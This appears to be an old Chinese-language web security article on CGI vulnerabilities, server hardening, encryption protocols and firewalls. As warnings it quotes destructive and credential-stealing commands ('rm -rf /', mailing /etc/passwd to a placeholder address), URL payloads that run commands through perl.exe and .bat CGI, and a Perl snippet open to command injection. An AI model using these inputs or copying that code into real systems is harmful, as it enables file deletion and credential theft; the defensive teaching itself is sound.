Web安全技術(shù)與防火墻
1、概述
計(jì)算機(jī)的安全性歷來(lái)都是人們討論的主要話題之一。而計(jì)算機(jī)安全主要研究的是計(jì)算機(jī)病毒的防治和系統(tǒng)的安全。在計(jì)算機(jī)網(wǎng)絡(luò)日益擴(kuò)展和普及的今天，計(jì)算機(jī)安全的要求更高，涉及面更廣。不但要求防治病毒，還要提高系統(tǒng)抵抗外來(lái)非法黑客入侵的能力，還要提高對(duì)遠(yuǎn)程數(shù)據(jù)傳輸?shù)谋Ｃ苄裕苊庠趥鬏斖局性馐芊欠ǜ`取。
在防治網(wǎng)絡(luò)病毒方面，在http傳輸中HTML文件是一般不會(huì)存在感染病毒的危險(xiǎn)。危險(xiǎn)在于下載可執(zhí)行軟件如：.zip .exe .arj .Z 等文件過(guò)程中應(yīng)特別加以注意。都有潛伏病毒的可能性。
對(duì)于系統(tǒng)本身安全性，主要考慮服務(wù)器自身穩(wěn)定性、健狀性，增強(qiáng)自身抵抗能力，杜絕一切可能讓黑客入侵的渠道，避免造成對(duì)系統(tǒng)的威脅。對(duì)重要商業(yè)應(yīng)用，必須加上防火墻和數(shù)據(jù)加密技術(shù)加以保護(hù)。
在數(shù)據(jù)加密方面，更重要的是不斷提高和改進(jìn)數(shù)據(jù)加密技術(shù)，使不法分子難有可乘之機(jī)。
當(dāng)然，計(jì)算機(jī)系統(tǒng)安全是個(gè)很大的范疇，本章僅僅討論在構(gòu)造 web時(shí)，可能出現(xiàn)的一些情況，希望能引起重視。
2、WEB在安全上的漏洞WEB 服務(wù)器上的漏洞可以從以下幾方面考慮：
(1)在web服務(wù)器上你不讓人訪問(wèn)的秘密文件、目錄或重要數(shù)據(jù)。
(2)從遠(yuǎn)程用戶向服務(wù)器發(fā)送信息時(shí)，特別是信用卡之類東西時(shí)，中途遭不法分子非法攔截。
(3) web服務(wù)器本身存在的一些漏洞，使得一些人能侵入到主機(jī)系統(tǒng)破壞一些重要的數(shù)據(jù)，甚至造成系統(tǒng)癱瘓。
(4)CGI安全方面的漏洞有：
1〕有意或無(wú)意在主機(jī)系統(tǒng)中遺漏(bugs)給非法黑客創(chuàng)造條件。
2〕用 CGI腳本編寫的程序當(dāng)涉及到遠(yuǎn)程用戶從瀏覽器中輸入表格(form) 并進(jìn)行象檢索(Search index)或form-mail之類在主機(jī)上直接操作命令時(shí)，或許會(huì)給web主機(jī)系統(tǒng)造成危險(xiǎn)。
因此，從CGI角度考慮WEB的安全性，主要是在編制程序時(shí)，應(yīng)詳細(xì)考慮到安全因素。盡量避免CGI程序中存在漏洞。
從web服務(wù)器版本上分析：
在1995年3月發(fā)現(xiàn)NCSA1.3以下版本的HTTPD明顯存在安全上的漏洞，即客戶計(jì)算機(jī)可以任意地執(zhí)行服務(wù)器上面的命令，非常危險(xiǎn)。但，NCSA1.4以上版本的服務(wù)器就補(bǔ)上了這個(gè)漏洞。還有一些簡(jiǎn)單的從網(wǎng)上下載WEB服務(wù)器，沒(méi)有過(guò)多考慮到一些安全因素，不能用作商業(yè)應(yīng)用。
因此，不管是配置服務(wù)器，還是在編寫 CGI程序時(shí)都要注意系統(tǒng)的安全性。盡量堵住任何存在的漏洞，創(chuàng)造安全的環(huán)境。在具體服務(wù)器設(shè)置及編寫 cgi程序時(shí)應(yīng)該注意：
管理服務(wù)器上
1)禁止亂用從其他網(wǎng)中下載的一些工具軟件，并在沒(méi)有詳細(xì)了解之前盡量不要用root身份注冊(cè)執(zhí)行。以防止某些程序員在程序中設(shè)下的陷井，如：程序中加上一兩行 "rm -rf /"或"mail username < /etc/passwd" 之類情況發(fā)生。
2)在選用 web服務(wù)器時(shí)，應(yīng)考慮到不同服務(wù)器對(duì)安全的要求不一樣。一些簡(jiǎn)單的 web服務(wù)器就沒(méi)有考慮到一些安全的因素，不能把他用作商業(yè)應(yīng)用。只作一些個(gè)人的網(wǎng)點(diǎn)。
3)在利用WEB中的.htpass來(lái)管理和校驗(yàn)用戶口令時(shí)，存在校驗(yàn)的口令和用戶名不受次數(shù)限制。
3、如何在WEB上提高系統(tǒng)安全性和穩(wěn)定性
web服務(wù)器安全預(yù)防措施：
〔1〕限制在web服務(wù)器開帳戶，定期刪除一些斷進(jìn)程的用戶。
〔2〕對(duì)在web服務(wù)器上開的帳戶，在口令長(zhǎng)度及定期更改方面作出要求，防止被盜用。
〔3〕盡量使ftp, mail等服務(wù)器與之分開，去掉ftp,sendmail,tftp,NIS, NFS，finger,netstat等一些無(wú)關(guān)的應(yīng)用。
〔4〕在web服務(wù)器上去掉一些絕對(duì)不用的shell等之類解釋器，即當(dāng)在你的 cgi的程序中沒(méi)用到perl時(shí)，就盡量把perl在系統(tǒng)解釋器中刪除掉。
〔5〕定期查看服務(wù)器中的日志logs文件，分析一切可疑事件。在errorlog 中出現(xiàn)rm, login, /bin/perl, /bin/sh 等之類記錄時(shí)，你的服務(wù)器可能有受到一些非法用戶的入侵的嘗試。
〔6〕設(shè)置好web服務(wù)器上系統(tǒng)文件的權(quán)限和屬性，對(duì)可讓人訪問(wèn)的文檔分配一個(gè)公用的組如：www，并只分配它只讀的權(quán)利。把所有的HTML文件歸屬WWW組，由WEB管理員管理WWW組。對(duì)于WEB的配置文件僅對(duì)WEB管理員有寫的權(quán)利。
〔7〕有些WEB服務(wù)器把WEB的文檔目錄與FTP目錄指在同一目錄時(shí)，應(yīng)該注意不要把FTP的目錄與CGI-BIN指定在一個(gè)目錄之下。這樣是為了防止一些用戶通過(guò) FTP上在一些尤如PERL或SH之類程序并用WEB的CGI-BIN去執(zhí)行造成不良后果。
〔8〕通過(guò)限制許可訪問(wèn)用戶IP或DNS如：
在NCSA中的access.conf中加上：
< Directory /full/path/to/directory >
< Limit GET POST >
order mutual-failure
deny from all
allow from 168.160.142. abc.net.cn
< /Limit >
< /Directory >
#p#這樣只能是以域名為abc.net.cn或IP屬于168.160.142的客戶訪問(wèn)該WEB服務(wù)器。對(duì)于CERN或W3C服務(wù)器可以這樣在httpd.conf中加上：
Protection LOCAL-USERS {
GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5)
}
Protect /relative/path/to/directory/* LOCAL-USERS
〔9〕WINDOWS下HTTPD
1)Netscape Communications Server for NT
〖1〗Perl解釋器的漏洞
Netscape Communications Server中無(wú)法識(shí)別cgi-bin下的擴(kuò)展名及其應(yīng)用關(guān)系，如：.pl是PERL的代碼程序自動(dòng)調(diào)用 perl.exe文件解釋，即使現(xiàn)在也只能把perl.exe文件存放在cgi-bin目錄之下。執(zhí)行如：
/cgi-bin/perl.exe?&my_script.pl. 但是這就給任何人都有執(zhí)行 perl的可能，當(dāng)有些人在其瀏覽器的URL中加上如：/cgi-bin/perl.exe?&-e+unlink+%3C*%3E 時(shí)，有可能造成刪除服務(wù)器當(dāng)前目錄下文件的危險(xiǎn)。但是，其他如：O''Reilly WebSite或Purveyor都不存在這種漏洞。
〖2〗CGI執(zhí)行批處理文件的漏洞
文件名：test.bat:
@echo off
echo Content-type: text/plain
echo
echo Hello World!
如果客戶瀏覽器的URL為：/cgi-bin/test.bat?&dir則執(zhí)行調(diào)用命令解釋器完成dir列表。這給訪問(wèn)者有執(zhí)行其他命令可能性。
2)O''Reilly WebSite server for Windows NT/95
在WebSite1.1B以前的版本中使用配處理文件存在著Netscape同樣的漏洞，但是，新版關(guān)閉.bat在cgi中的作用。支持 perl,VB和C作為CGI開發(fā)工具。至于他的安全問(wèn)題參看：http://website.ora.com/devcomer/secalert1。
3)Microsoft''s IIS Web Server
在96年3月5日前的IIS在NT下的.bat CGI的 bug甚至比其他更嚴(yán)重，可以任意使用command命令。但之后修補(bǔ)該漏洞。你可檢查你的可執(zhí)行文件的建立日期。IIS3.0還存在一些安全bug，主要是cgi-bin下的覆給權(quán)利。
另外，許多 WEB服務(wù)器本身都存在一些安全上的漏洞，都是在版本升級(jí)過(guò)程不斷更新。在這就不一一列舉。
從CGI編程角度考慮安全：
〔1〕采用編譯語(yǔ)言比解釋語(yǔ)言會(huì)更安全些,并且 CGI程序應(yīng)放在獨(dú)立于HTML 存放目錄之外的CGI-BIN下,是為了防止一些非法訪問(wèn)者從瀏覽器端取得解釋性語(yǔ)言的原代碼后從中尋找漏洞。
〔2〕在用C來(lái)編寫CGI程序時(shí)盡量少用popen(), system()和所有涉及/bin/sh 的shell命令。在Perl中system(), exec(), open()，eval()等exec或eval之類命令。在由用戶填寫的form還回cgi時(shí)，不要直接調(diào)用system()之類函數(shù)。這是為避免當(dāng)填寫內(nèi)容為“rm -rf /*”或“/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org< /etc/passwd”之類內(nèi)容。
〔3〕用Perl編寫CGI時(shí)如：
$mail_to = &get_name_from_input;
open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailtonFrom: mennHi there!n";
close MAIL;
該小程序是把客戶瀏覽器的form到服務(wù)器的mail處理程序。
另外，對(duì)于數(shù)據(jù)的加密與傳輸，目前有SSL，SHTTP，SHEN等協(xié)議供大家研究。
〔1〕SSL(Secure Socket Layer)系由Netscape公司建議的一種建構(gòu)在TCP協(xié)議之上的保密措施通訊協(xié)議，不但適用于HTTP，而且還適用于 TELNET,FTP,NNTP, GOPHER等客戶/服務(wù)器模式的安全協(xié)議。Netscape Navigator, Secure Mosaic, 和Microsoft Internet Explorer等客戶瀏覽器與Netscape, Microsoft, IBM, Quarterdeck, OpenMarket 和 O''Reilly等服務(wù)器產(chǎn)品都采用SSL協(xié)議。
詳細(xì)請(qǐng)參看：http://home.netscape.com/newsref/std/SSL.html。
〔2〕SHTTP(Secure HTTP)系由CommerceNet公司建議構(gòu)造在HTTP協(xié)議之上的高層協(xié)議。目前由Open Market公司推銷的 Open Marketplace 服務(wù)器結(jié)合Enterprise Integration Technologies的Secure HTTP Mosaic客戶瀏覽器采用S-HTTP。
詳細(xì)參看：http://www.eit.com/creations/s-http/ 。
4、防火墻(Firewall)
當(dāng)一個(gè)網(wǎng)絡(luò)接上Internet之后，系統(tǒng)的安全除了考慮計(jì)算機(jī)病毒、系統(tǒng)的健壯性之外，更主要的是防止非法用戶的入侵。而目前防止的措施主要是靠防火墻的技術(shù)完成。防火墻(firewall)是指一個(gè)由軟件或和硬件設(shè)備組合而成，處于企業(yè)或網(wǎng)絡(luò)群體計(jì)算機(jī)與外界通道(Internet)之間，限制外界用戶對(duì)內(nèi)部網(wǎng)絡(luò)訪問(wèn)及管理內(nèi)部用戶訪問(wèn)外界網(wǎng)絡(luò)的權(quán)限。
【編輯推薦】
